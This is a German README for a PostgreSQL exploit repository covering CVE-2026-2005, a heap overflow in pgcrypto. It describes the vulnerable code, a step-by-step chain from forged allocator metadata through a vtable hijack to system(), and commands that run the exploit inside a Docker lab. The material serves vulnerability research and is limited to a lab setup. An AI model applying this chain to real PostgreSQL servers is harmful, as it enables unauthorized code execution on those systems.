
Exploit für CVE-2026-2005, einen Heap-Overflow in der pgcrypto-Erweiterung von PostgreSQL, der zu Remote-Code-Ausführung führt. Enthält PoC-Generatoren, Docker-Lab und detaillierte technische Dokumentation.
Remote-Code-Execution über eine einzelne SQL-Abfrage, die auf die pgcrypto-Erweiterung von PostgreSQL abzielt. Die Schwachstelle ist ein Heap-Pufferüberlauf in pgp_parse_pubenc_sesskey(), der die Korruption der internen MemoryContext-Allocator-Metadaten von PostgreSQL ermöglicht und so beliebige Codeausführung als Benutzer postgres erreicht.
| CVE | CVE-2026-2005 |
| Komponente | contrib/pgcrypto/pgp-pubdec.c |
| CWE | CWE-122 (Heap-basierter Pufferüberlauf) |
| CVSSv3.1 | 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) |
| Betroffen | PostgreSQL 14.0–14.20, 15.0–15.15, 16.0–16.11, 17.0–17.7, 18.0–18.1 |
| Behoben | 14.21, 15.16, 16.12, 17.8, 18.2 |
| Offengelegt | 2026-02-12 |
| Fix-Commit | 379695d3cc70d040b547d912ce4842090d917ece |



git clone https://github.com/dinosn/cve-2026-2005.git
cd cve-2026-2005/lab
docker compose up -d pg-exploit
# ~5s warten, bis postgres initialisiert ist
python3 ../poc/exploit.py --run cve-2026-2005-pg-exploit

// contrib/pgcrypto/pgp-pubdec.c — pgp_parse_pubenc_sesskey()
ctx->cipher_algo = *msg;
ctx->sess_key_len = msglen - 3; // angreiferkontrolliert
memcpy(ctx->sess_key, msg + 1, ctx->sess_key_len); // sess_key ist uint8[32]
ctx->sess_key ist ein fester 32-Byte-Puffer, der in einer heap-allokierten PGP_Context-Struktur eingebettet ist. Eine manipulierte PGP-Nachricht mit einem überdimensionierten RSA-verschlüsselten Session-Key treibt sess_key_len auf bis zu ~200 Bytes und überläuft dabei in benachbarte Heap-Allokationen. Der Fix fügt eine sess_key_len > PGP_MAX_KEY-Grenzwertprüfung hinzu.
sess_key[32] hinaus schreibt gefälschte Allocator-Metadaten in die benachbarte MBuf-AllokationMBuf->data = NULL, sodass explicit_bzero während der Bereinigung übersprungen wirdhdrmask dekodiert zu blockoffset=64 und leitet den Blockzeiger auf angreiferkontrollierte Daten umAllocSetFree schreibt die Chunk-Adresse nach MC+16 (das MemoryContext->methods-Feld) und ersetzt den Vtable-ZeigerMemoryContextDelete(MC) ruft methods->delete_context(MC) über unsere gefälschte Vtable auf → system(MC)system() liest die MemoryContext-Struktur als Zeichenkette: NodeTag 0x1D5 = "\xd5\x01\x00\x00" → führt /usr/local/bin/\xd5\x01 auspgcrypto-Erweiterung installiert (CREATE EXTENSION pgcrypto)/usr/local/bin/\xd5\x01 (in Dockerfile.exploit enthalten)├── README.md
├── poc/
│ ├── exploit.py # Eigenständiger Exploit-Generator + Runner
│ ├── gen_exploit_v7.py # Kommentierter Payload-Builder
│ ├── gen_payload.py # Nur-Crash-PoC-Generator (alle Overflow-Größen)
│ ├── poc_big.sql # Vorgenerierter Crash-PoC (SIGSEGV)
│ └── poc_minimal.sql # Minimaler 4-Byte-Overflow-PoC
├── lab/
│ ├── docker-compose.yml # Vollständiges Labor: vuln, patched, debug, exploit
│ ├── Dockerfile.exploit # Release-Build + Trigger-Skript (RCE-Ziel)
│ ├── Dockerfile.vuln # Standard verwundbarer Build (Crash-Demo)
│ ├── Dockerfile.debug # Cassert-Build (Assertion-Demo)
│ ├── init.sql # Datenbankinitialisierung
│ └── setup.sh # Labor-Setup-Helfer
├── reports/
│ ├── RCE-CHAIN.md # Detaillierte technische Exploitation-Ausarbeitung
│ ├── REPORT.md # Schwachstellenanalyse-Bericht
│ └── TODO-FOR-RCE.md # Entwicklungsprotokoll (abgeschlossen)
├── screenshots/
│ ├── 01-target-verification.png
│ ├── 02-exploit-fire.png
│ ├── 03-rce-proof.png
│ └── 04-full-run.png
└── src/ # Relevante Quellcode-Ausschnitte
| Container | Port | Zweck |
|---|---|---|
pg-exploit | 5436 | RCE-Ziel (Standard 17.7 + Trigger-Skript) |
pg-vuln | 5433 | Crash-Demo (Standard 17.7, SIGSEGV) |
pg-fixed | 5434 | Gepatchter Build (17.8, lehnt Payload ab) |
pg-debug | 5435 | Debug-Build (cassert SIGABRT mit Quellcode-Zuordnung) |
# Alle Container starten
cd lab && docker compose up -d
# Crash-Demo (SIGSEGV auf Standard-Build)
docker exec cve-2026-2005-pg-vuln psql -U postgres -d lab -f /tmp/poc_big.sql
docker logs cve-2026-2005-pg-vuln 2>&1 | grep "signal 11"
# Gepatchter Build (lehnt ordnungsgemäß ab)
docker exec cve-2026-2005-pg-fixed psql -U postgres -d lab -f /tmp/poc_big.sql
# ERROR: Public key too big
# Debug-Build (Assertion mit Datei:Zeile)
docker exec cve-2026-2005-pg-debug psql -U postgres -d lab -f /tmp/poc_big.sql
docker logs cve-2026-2005-pg-debug 2>&1 | grep "TRAP"
postgres:17.7-bookworm sind. Andere Builds/Umgebungen erfordern eine Neukalibrierung der Adressen (über GDB oder Info-Leak).SELECT digest('x','md5')) in derselben Verbindung stabilisiert das Heap-Layout vor der Exploit-Abfrage.\xd5\x01 im PATH. Das Dockerfile installiert diese vorab. Eine Exploitation in der realen Welt würde vorherigen Schreibzugriff oder einen anderen ROP/One-Gadget-Ansatz erfordern.--enable-cassert brechen mit einer Assertion ab, bevor der Freelist-Schreibvorgang stattfindet.379695d)Dieser Exploit wird ausschließlich für autorisierte Sicherheitsforschung und Bildungszwecke bereitgestellt. Nur in kontrollierten Laborumgebungen mit ausdrücklicher Genehmigung verwenden.